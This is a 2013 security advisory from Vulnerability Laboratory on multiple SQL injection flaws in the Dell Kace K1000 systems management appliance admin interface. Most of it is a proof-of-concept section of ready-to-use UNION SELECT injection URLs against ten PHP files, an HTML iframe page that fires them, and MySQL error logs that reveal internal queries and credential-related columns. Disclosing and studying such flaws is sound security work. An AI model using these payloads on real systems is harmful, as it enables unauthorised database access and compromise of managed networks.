275 lines
12 KiB
Text
Executable file
275 lines
12 KiB
Text
Executable file
Title:
|
|
======
|
|
Dell Kace 1000 SMA 5.4.742 - SQL Injection Vulnerabilities
|
|
|
|
|
|
Date:
|
|
=====
|
|
2013-07-22
|
|
|
|
|
|
References:
|
|
===========
|
|
http://www.vulnerability-lab.com/get_content.php?id=832
|
|
|
|
|
|
VL-ID:
|
|
=====
|
|
832
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
7.5
|
|
|
|
|
|
Introduction:
|
|
=============
|
|
Dell KACE is to provide an appliance-based approach to systems management, to create time for systems administration professionals,
|
|
while saving money for their companies. Dell KACE Systems Management Appliances are available as both physical and virtual appliances.
|
|
|
|
The KACE Management Appliance delivers a fully integrated systems management solution, unlike traditional software approaches that
|
|
can require complex and time-consuming deployment and maintenance. KACE accomplishes this via an extremely flexible, intelligent
|
|
appliance-based architecture that typically deploys in days and is self maintaining. The KACE Management Appliance also provides
|
|
direct access to time-saving ITNinja systems management community information using AppDeploy Live, the leading destination for end
|
|
point administrators. The result: Comprehensive systems management that is easy-to-use and that can be more economical than software
|
|
only alternatives. Read more in the white paper KACE K1000 Management Appliance Architecture: Harnessing the Power of an
|
|
Appliance-based Architecture. The KACE Management Appliance is designed for enterprises and business units with up to 20,000 nodes.
|
|
|
|
(Copy of the Vendor Homepage: http://www.kace.com/products/systems-management-appliance )
|
|
|
|
|
|
Abstract:
|
|
=========
|
|
The Vulnerability Laboratory Research Team discovered a SQL Injection web vulnerabilities in Dell Kace K1000, Systems Management Appliance.
|
|
|
|
|
|
Report-Timeline:
|
|
================
|
|
2013-01-24: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed)
|
|
2013-02-06: Vendor Notification (Dell Security Team)
|
|
2013-02-08: Vendor Response/Feedback (Dell Security Team)
|
|
2013-**-**: Vendor Fix/Patch (Dell Security Team)
|
|
2013-07-22: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Status:
|
|
========
|
|
Published
|
|
|
|
|
|
Affected Products:
|
|
==================
|
|
DELL
|
|
Product: Kace K1000 SMA 5.4.70402
|
|
|
|
|
|
Exploitation-Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity:
|
|
=========
|
|
Critical
|
|
|
|
|
|
Details:
|
|
========
|
|
Multiple SQL Injection vulnerabilities are detected in the Dell Kace K1000, Systems Management Appliance Application.
|
|
A SQL Injection vulnerability allows an attacker (remote) to execute/inject SQL commands in the affected application dbms.
|
|
|
|
The sql injection vulnerabilities are located in the history_log.php, service.php, software.php, settings_network_scan.php,
|
|
asset.php, asset_type.php, metering.php and mi.php files. All files are located in the adminui. A remote attacker is able
|
|
to inject own sql commands when processing to request the vulnerable TYPE_ID and ID parameters.
|
|
|
|
Exploitation of the sql injection vulnerabilities requires no or a low privilege application user account and no user interaction.
|
|
Successful exploitation of the vulnerability results in database management system & application compromise via remote sql injection attack.
|
|
|
|
|
|
Vulnerable Module(s):
|
|
[+] adminui
|
|
|
|
Vulnerable File(s):
|
|
[+] history_log.php
|
|
[+] service.php
|
|
[+] software.php
|
|
[+] settings_network_scan.php
|
|
[+] asset.php
|
|
[+] asset_type.php
|
|
[+] metering.php
|
|
[+] mi.php
|
|
[+] replshare.php
|
|
[+] kbot.php
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] TYPE_ID
|
|
[+] ID
|
|
|
|
|
|
Proof of Concept:
|
|
=================
|
|
The SQL injection vulnerabilities can be exploited by remote attackers without privileged application user account and without required user interaction.
|
|
For demonstration or reproduce ...
|
|
|
|
1.1
|
|
PoC:
|
|
https://pub37.137.0.0.1:8080/adminui/history_log.php?HISTORY_TYPE=ASSET&TYPE_NAME=Computer&TYPE_ID=7+union+Select+1,2,3,4,5,6,version%28%29,8,9,10,11,12--%20-
|
|
|
|
1.2
|
|
PoC:
|
|
https://pub37.137.0.0.1:8080/adminui/service.php?ID=-1211+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20-
|
|
|
|
1.3
|
|
https://pub37.137.0.0.1:8080/adminui/software.php?ID=1291+[SQL-INJECTION!]--
|
|
|
|
Exploit:
|
|
|
|
<html>
|
|
<head><body><title>Dell Kace 1000 SMA v5.4.70402 - SQL Injection Exploit</title>
|
|
<iframe src=https://pub37.137.0.0.1:8080/adminui/history_log.php?HISTORY_TYPE=ASSET&TYPE_NAME=Computer&TYPE_ID=7+union+Select+1,2,3,4,5,
|
|
6,version%28%29,8,9,10,11,12--%20- width="600" height"600"><br><iframe src=https://pub37.137.0.0.1:8080/adminui/service.php?ID=-1211+
|
|
union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20- width="600" height"600"><br><iframe src=
|
|
https://pub37.137.0.0.1:8080/adminui/software.php?ID=1291+[SQL-INJECTION!]-- width="600" height"600"><br>
|
|
</body></head>
|
|
</html>
|
|
|
|
--- SQL Exception Error Log ---
|
|
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/adminui/software.php on line 95:
|
|
mysql error: [1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
|
|
version for the right syntax to use near ''1291''' at line 1] in EXECUTE("select OS_ID from SOFTWARE_OS_JT where SOFTWARE_ID = '1291''")
|
|
|
|
1.4
|
|
PoC:
|
|
https://pub37.137.0.0.1:8080/adminui/settings_network_scan.php?ID=2+[SQL-INJECTION!]--%20-
|
|
|
|
--- SQL Exception Error Log ---
|
|
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/adminui/settings_network_scan.php on line 54:
|
|
mysql error: [1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
|
right syntax to use near ''' at line 1]
|
|
in EXECUTE("select * from SCAN_SETTINGS where ID = 2'")
|
|
|
|
1.5
|
|
PoC:
|
|
https://pub37.137.0.0.1:8080/adminui/asset.php?ID=2+[SQL-INJECTION!]--%20-
|
|
|
|
--- SQL Exception Error Log ---
|
|
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/include/Asset.class.php on line 61: mysql error:
|
|
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
|
right syntax to use near ''' at line 3]
|
|
in EXECUTE("select *, DATE_FORMAT(CREATED,'%b %d %Y %I:%i:%s %p') as CREATED,
|
|
DATE_FORMAT(MODIFIED,'%b %d %Y %I:%i:%s %p') as MODIFIED
|
|
from ASSET where ID = 2'")
|
|
|
|
1.6
|
|
PoC:
|
|
https://pub37.137.0.0.1:8080/adminui/asset_type.php?ID=5+[SQL-INJECTION!]--%20-
|
|
|
|
--- SQL Exception Error Log ---
|
|
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/include/AssetType.class.php on line 62: mysql error:
|
|
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
|
right syntax to use near ''5''' at line 1]
|
|
in EXECUTE("select * from ASSET_TYPE where ID = '5''")
|
|
|
|
1.7
|
|
PoC:
|
|
https://pub37.137.0.0.1:8080/adminui/metering.php?ID=11+[SQL-INJECTION!]--%20-&MONTHS=1
|
|
|
|
--- SQL Exception Error Log ---
|
|
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/adminui/metering.php on line 65: mysql error:
|
|
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
|
right syntax to use near ''' at line 2]
|
|
in EXECUTE("select LABEL_ID from FS_LABEL_JT
|
|
where FS_ID =11'")
|
|
|
|
1.8
|
|
PoC:
|
|
https://pub37.137.0.0.1:8080/adminui/mi.php?ID=5
|
|
|
|
--- SQL Exception Error Log ---
|
|
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/adminui/mi.php on line 350: mysql error:
|
|
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
|
right syntax to use near 'hidden')))' at line 4]
|
|
in EXECUTE("select ID,NAME from MACHINE
|
|
WHERE ID in ( Select MACHINE_ID from MACHINE_LABEL_JT
|
|
where LABEL_ID in ( Select LABEL_ID from MI_LABEL_JT
|
|
where MI_ID = '5'' and LABEL_ID in
|
|
(select ID from LABEL where TYPE='hidden')))")
|
|
|
|
1.9
|
|
PoC:
|
|
https://pub37.137.0.0.1:8080/adminui/replshare.php?ID=1+[SQL-INJECTION!]--%20-
|
|
|
|
--- SQL Exception Error Log ---
|
|
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/include/ReplShare.class.php on line 20: mysql error:
|
|
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
|
right syntax to use near ''' at line 2]
|
|
in EXECUTE("select * from REPLICATION_SHARE where ID=1'")
|
|
|
|
1.10
|
|
PoC:
|
|
https://pub37.137.0.0.1:8080/adminui/kbot.php?ID=20+[SQL-INJECTION!]--%20-
|
|
|
|
--- SQL Exception Error Log ---
|
|
Error message: PHP Error: Uncaught ADODB_Exception in /kbox/kboxwww/include/KBot.class.php on line 183: mysql error:
|
|
[1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
|
|
right syntax to use near ''20''' at line 15]
|
|
in EXECUTE("select k.*, DATE_FORMAT(k.CREATED,'%b %d %Y %I:%i:%s %p'), DATE_FORMAT(k.MODIFIED,'%b %d %Y %I:%i:%s %p'),
|
|
unix_timestamp(k.MODIFIED) as MODIFIED_TMSTAMP,
|
|
unix_timestamp(k.CREATED) as CREATED_TMSTAMP,
|
|
f.ID as FORM_ID, f.FORM_URL, f.FORM_NAME,
|
|
s.SCRIPT_TEXT, s.FILE_NAME, s.CHECKSUM, s.TIMEOUT,
|
|
s.REMOVE_FILES, s.UPLOAD_FILE, s.UPLOAD_FILE_PATH, s.UPLOAD_FILE_NAME,
|
|
k.RUN_AS_USR, k.RUN_AS_PASS_ENC,
|
|
k.ALERT_ENABLED, k.ALERT_DIALOG_OPTIONS,
|
|
k.ALERT_DIALOG_TIMEOUT, k.ALERT_DIALOG_TIMEOUT_ACTION, k.ALERT_SNOOZE_DURATION, k.ALERT_MESSAGE
|
|
from KBOT k
|
|
left join KBOT_FORM f
|
|
on k.ID = f.KBOT_ID
|
|
left join KBOT_SHELL_SCRIPT s
|
|
on k.ID = s.KBOT_ID
|
|
where k.ID = '20''")
|
|
|
|
|
|
Risk:
|
|
=====
|
|
The security risk of the remote sql injection web vulnerabilities are estimated as critical.
|
|
|
|
|
|
Credits:
|
|
========
|
|
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed (the_storm) ibrahim@evolution-sec.com]
|
|
|
|
|
|
Disclaimer:
|
|
===========
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
|
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
|
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
|
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
|
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
|
or trade with fraud/stolen material.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
|
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
|
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
|
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
|
|
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
|
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
|
|
|
Copyright ? 2013 | Vulnerability Laboratory [Evolution Security]
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY LABORATORY RESEARCH TEAM
|
|
DOMAIN: www.vulnerability-lab.com
|
|
CONTACT: research@vulnerability-lab.com
|
|
|
|
|